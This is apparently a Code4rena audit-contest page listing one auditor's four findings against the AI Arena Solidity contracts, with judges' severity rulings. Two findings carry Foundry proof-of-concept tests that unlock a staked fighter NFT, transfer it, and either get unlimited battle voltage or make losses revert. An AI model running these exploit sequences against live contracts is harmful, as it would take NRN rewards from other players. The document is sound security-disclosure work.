Platform: Code4rena
Start Date: 09/02/2024
Pot Size: $60,500 USDC
Total HM: 17
Participants: 283
Period: 12 days
Judge:
Id: 328
League: ETH
Rank: 185/283
Findings: 3
Award: $4.43
π Selected for report: 0
π Solo Findings: 0
π Selected for report: t0x1c
Also found by: 0rpse, 0xAadi, 0xBinChook, 0xCiphky, 0xDetermination, 14si2o_Flint, AC000123, Aamir, Abdessamed, Blank_Space, CodeWasp, DanielArmstrong, DarkTower, Draiakoo, Honour, Kalogerone, Krace, McToady, Merulez99, MidgarAudits, MrPotatoMagic, PedroZurdo, Silvermist, Tychai0s, VAD37, Velislav4o, VrONTg, WoolCentaur, YouCrossTheLineAlfie, ZanyBonzy, alexxander, aslanbek, btk, csanuragjain, d3e4, dimulski, djxploit, erosjohn, evmboi32, fnanni, forgebyola, forkforkdog, handsomegiraffe, immeas, israeladelaja, juancito, ktg, n0kto, neocrao, ni8mare, okolicodes, peanuts, petro_1912, shaflow2, shaka, swizz, ubermensch, ubl4nk, yotov721
1.5445 USDC - $1.54
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L439
In RankedBattle.sol, curStakeAtRisk
rounds down to zero when staked amount is 999 or less, which allows a user to avoid losing any staked NRN after losing a battle.
// RankedBattle.sol function _addResultPoints() { ... // Rounds down to zero when amountStaked < 1000; curStakeAtRisk = (bpsLostPerLoss * (amountStaked[tokenId] + stakeAtRisk)) / 10**4; ... }
Assume bpsLostPerLoss = 10
, if a user staked 999 or less NRN, curStakeAtRisk
will always round down to zero. So after losing a battle, there will be no penalty.
amountStaked[tokenId] -= curStakeAtRisk;
Although the staked amount for this bug to work is relatively small, NRN value could grow in the future to a point where 1000 NRN is significant.
Also, this bug could open up creative ways for an attacker to game the system by making some of his NFT intentionally lose (i.e. by setting an inferior AI model) but at no cost (i.e. keep his stake of 999 NRN).
Manual Review
Consider setting a minimum staked amount.
Other
#0 - c4-pre-sort
2024-02-22T15:52:32Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-22T15:52:41Z
raymondfam marked the issue as duplicate of #38
#2 - c4-judge
2024-03-07T02:58:22Z
HickupHH3 changed the severity to 3 (High Risk)
#3 - c4-judge
2024-03-07T03:15:31Z
HickupHH3 marked the issue as partial-75
π Selected for report: ktg
Also found by: 0xCiphky, 0xDetermination, 0xRiO, 0xWallSecurity, 0xlemon, 0xvj, AlexCzm, BARW, Blank_Space, Draiakoo, FloatingPragma, Giorgio, Matue, McToady, MrPotatoMagic, Silvermist, SpicyMeatball, Tendency, Topmark, Tumelo_Crypto, _eperezok, agadzhalov, ahmedaghadi, alexxander, aslanbek, cats, d3e4, denzi_, dutra, evmboi32, fnanni, givn, handsomegiraffe, haxatron, immeas, juancito, ke1caM, kiqo, klau5, krikolkk, niser93, peter, petro_1912, pkqs90, rspadi, sl1, stakog, visualbits, vnavascues, yotov721
1.876 USDC - $1.88
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/MergingPool.sol#L139
In MergingPool.sol, claimRewards()
function inputs are not validated, allowing anyone who is eligible for rewards to pass in arbitrary data which could severely break the game mechanics.
// MergingPool.sol function claimRewards( string[] calldata modelURIs, string[] calldata modelTypes, uint256[2][] calldata customAttributes )
All 3 types of inputs are not validated. But of the three, customAttributes
is most likely to break the game if unexpected data is passed in.
customAttributes
expect values to represent 'element' and 'weight' of the newly created fighter. From docs, 'element' should be limited to types fire/water/electricity, while 'weight' should be limited to Lightweight/Middleweight/Heavyweight. An attacker could pass in any values e.g. [1000, type(uint256).max]
and a newly created fighter would have these custom attributes.
Game will break or malfunction when calculations are run using these values, potentially giving an attacker an unfair advantage against other players.
From the docs, 'weight' is a primary determinant of other relative strength and weaknesses. Through this bug, the attacker could set weight to an artificially high value and dominate in all battles and severely break the game. Thus, impact is assessed to be high.
Manual Review
Validate all function inputs to ensure correct data is passed in. E.g. restricting customAttributes to certain values representing element and weight.
Invalid Validation
#0 - c4-pre-sort
2024-02-24T08:53:49Z
raymondfam marked the issue as insufficient quality report
#1 - c4-pre-sort
2024-02-24T08:54:05Z
raymondfam marked the issue as duplicate of #226
#2 - c4-judge
2024-03-11T10:23:54Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-11T10:24:15Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L254 https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/VoltageManager.sol#L94
In RankedBattle.sol, a bug exists that allows a user to bypass the NFT staking mechanics to transfer his fighter NFT to another address and gain unlimited voltage for battles.
By design, when a user stakes NRN, the fighter NFT is locked to prevent transfers. The NFT is unlocked when all NRN is unstaked.
// RankedBattle.sol function stakeNRN(uint256 amount, uint256 tokenId) external { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, true); } } function unstakeNRN(uint256 amount, uint256 tokenId) external { if (success) { if (amountStaked[tokenId] == 0) { _fighterFarmInstance.updateFighterStaking(tokenId, false); } emit Unstaked(msg.sender, amount); } }
It follows then that if a user battles to earn points, NRN is being staked and therefore the NFT cannot be transferred during a round.
There is however a way to bypass this mechanic: When a user loses all his staked NRN, he could then unstake NRN (passing inamount = 0
) which unlocks the NFT. Next, the user can regain staked NRN through winning battles, putting him in a state where 1) he has positive staked NRN, 2) he can earn points from battles, and 3) he is free to transfer his NFT.
Every time the user transfers his NFT to another address that he controls, voltage is reset back to 100, essentially giving the user unlimited battle attempts.
// VoltageManager.sol function spendVoltage(address spender, uint8 voltageSpent) public { require(spender == msg.sender || allowedVoltageSpenders[msg.sender]); // @audit When msg.sender is a new address, _replenishVoltage sets voltage = 100 if (ownerVoltageReplenishTime[spender] <= block.timestamp) { _replenishVoltage(spender); }
Attack steps:
Run this POC in RankedBattle.t.sol
function testUnlimitedVoltage() public { address attacker = vm.addr(3); address attacker_alt = vm.addr(4); _mintFromMergingPool(attacker); _mintFromMergingPool(attacker); assertEq(_fighterFarmContract.ownerOf(1), attacker); _fundUserWith4kNeuronByTreasury(attacker); uint256 stakeAmt = 3_000 * 10 ** 18; vm.prank(attacker); _rankedBattleContract.stakeNRN(stakeAmt, 1); assertEq(_rankedBattleContract.amountStaked(1), stakeAmt); // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked uint256 newBpsLostPerLoss = 10000; _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss); // Lose all staked vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true); assertEq(_rankedBattleContract.amountStaked(1), 0); // User unstakes vm.prank(attacker); _rankedBattleContract.unstakeNRN(0, 1); assertTrue(_rankedBattleContract.hasUnstaked(1,0)); // Attacker has bypassed staked nft mechanism, free to transfer NFT now assertFalse(_fighterFarmContract.fighterStaked(1)); // Attacker uses remaining voltage to play battles vm.startPrank(address(_GAME_SERVER_ADDRESS)); for (uint i; i < 9; i++) { _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); } // Expect revert as 10 games played already, run out of voltage vm.expectRevert(); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); vm.stopPrank(); // Now do transfer to attacker-controlled EOA vm.prank(attacker); _fighterFarmContract.transferFrom(attacker, attacker_alt, 1); assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt); // Now attacker has full voltage again and can continue playing battles for free vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); }
Impact assessed to be high because if an attacker has a fighter with >50% win rate, having unlimited battle attempts could result in him winning all points and stealing NRN rewards from other users.
Consider tagging voltage to tokenId
instead of msg.sender
.
Other
#0 - c4-pre-sort
2024-02-25T03:46:10Z
raymondfam marked the issue as primary issue
#1 - c4-pre-sort
2024-02-25T03:46:14Z
raymondfam marked the issue as insufficient quality report
#2 - raymondfam
2024-02-25T03:47:37Z
Intended design as the same feature will also be needed when the user has reached 10 fighters and will need to continue winning NFT from the merging pool.
#3 - c4-judge
2024-03-14T10:40:59Z
HickupHH3 marked the issue as duplicate of #137
#4 - c4-judge
2024-03-15T02:38:02Z
HickupHH3 marked the issue as not a duplicate
#5 - c4-judge
2024-03-15T02:38:07Z
HickupHH3 changed the severity to 2 (Med Risk)
#6 - c4-judge
2024-03-15T02:38:24Z
HickupHH3 marked the issue as duplicate of #137
#7 - c4-judge
2024-03-15T02:38:30Z
HickupHH3 marked the issue as satisfactory
π Selected for report: klau5
Also found by: 0xAlix2, 0xCiphky, 0xDetermination, 0xG0P1, 0xMosh, 0xabhay, 14si2o_Flint, AlexCzm, Aymen0909, CodeWasp, DanielArmstrong, FloatingPragma, Giorgio, JCN, Jorgect, Kalogerone, KmanOfficial, Kow, KupiaSec, McToady, SpicyMeatball, VAD37, WoolCentaur, ZanyBonzy, alexxander, alexzoid, almurhasan, blutorque, csanuragjain, denzi_, dipp, djxploit, evmboi32, handsomegiraffe, haxatron, immeas, jesjupyter, ke1caM, klau5, lanrebayode77, lil_eth, merlin, merlinboii, nuthan2x, peanuts, shaflow2, shaka, sl1, solmaxis69, stakog, swizz, t0x1c, tallo, ubermensch, vnavascues, yotov721
1.0089 USDC - $1.01
https://github.com/code-423n4/2024-02-ai-arena/blob/main/src/RankedBattle.sol#L342
In RankedBattle.sol, user could bypass the NFT staking mechanics to transfer out NFT and avoid losing in battle due to math underflow
Even after staking NRN (which should lock NFT), a user can transfer his NFT using these steps:
amountStaked
to zero, and increase stakeAtRisk
amount = 0
, which unlocks the NFT allowing transfersamountStaked + stakeAtRisk > 0
, User switches to a winning model and regain staked NRNWhen the NFT is transferred to another address, accumulated points for the new address is 0 and the NFT cannot lose battles due to an underflow in _addResultPoints
:
// RankedBattle.sol function _addResultPoints() { ... // if battle result is a loss accumulatedPointsPerAddress[fighterOwner][roundId] -= points; }
Attack steps:
Run this POC in RankedBattle.t.sol
function testAvoidLosing() public { address attacker = vm.addr(3); address attacker_alt = vm.addr(4); _mintFromMergingPool(attacker); _mintFromMergingPool(attacker); assertEq(_fighterFarmContract.ownerOf(1), attacker); _fundUserWith4kNeuronByTreasury(attacker); uint256 stakeAmt = 3_000 * 10 ** 18; vm.prank(attacker); _rankedBattleContract.stakeNRN(stakeAmt, 1); assertEq(_rankedBattleContract.amountStaked(1), stakeAmt); // Update bpsLostPerLoss to simulate multiple losses to lose all amtStaked uint256 newBpsLostPerLoss = 10000; _rankedBattleContract.setBpsLostPerLoss(newBpsLostPerLoss); // Lose all staked vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true); assertEq(_rankedBattleContract.amountStaked(1), 0); // User unstakes vm.prank(attacker); _rankedBattleContract.unstakeNRN(0, 1); assertTrue(_rankedBattleContract.hasUnstaked(1,0)); // Attacker has bypassed staked nft mechanism, free to transfer NFT now assertFalse(_fighterFarmContract.fighterStaked(1)); // Simulate multiple wins to regain all staked vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); assertEq(_rankedBattleContract.amountStaked(1), stakeAmt); // Now do transfer to attacker-controlled EOA vm.prank(attacker); _fighterFarmContract.transferFrom(attacker, attacker_alt, 1); assertTrue(_fighterFarmContract.ownerOf(1) == attacker_alt); // Attacker cannot lose, reverts due to underflow when trying to deduct points vm.prank(address(_GAME_SERVER_ADDRESS)); vm.expectRevert(); _rankedBattleContract.updateBattleRecord(1, 50, 2, 1500, true); // Attacker can keep winning and earn points vm.prank(address(_GAME_SERVER_ADDRESS)); _rankedBattleContract.updateBattleRecord(1, 50, 0, 1500, true); }
After transferring the NFT to another address, the user can only win battles and never lose. This would likely earn him very high points at the result of other honest players, essentially stealing NRN rewards from them.
Consider allocating points only on a tokenId
basis instead of current design which also allocates to an address fighterOwner
. This would prevent underflow.
Under/Overflow
#0 - c4-pre-sort
2024-02-25T03:54:34Z
raymondfam marked the issue as sufficient quality report
#1 - c4-pre-sort
2024-02-25T03:54:45Z
raymondfam marked the issue as duplicate of #1641
#2 - c4-judge
2024-03-12T03:34:04Z
HickupHH3 changed the severity to 2 (Med Risk)
#3 - c4-judge
2024-03-12T04:01:26Z
HickupHH3 changed the severity to 3 (High Risk)
#4 - c4-judge
2024-03-12T04:03:31Z
HickupHH3 changed the severity to 2 (Med Risk)
#5 - c4-judge
2024-03-13T10:43:26Z
HickupHH3 marked the issue as not a duplicate
#6 - c4-judge
2024-03-13T10:43:34Z
HickupHH3 marked the issue as duplicate of #833
#7 - c4-judge
2024-03-13T11:32:28Z
HickupHH3 marked the issue as duplicate of #1641
#8 - c4-judge
2024-03-15T02:38:55Z
HickupHH3 marked the issue as satisfactory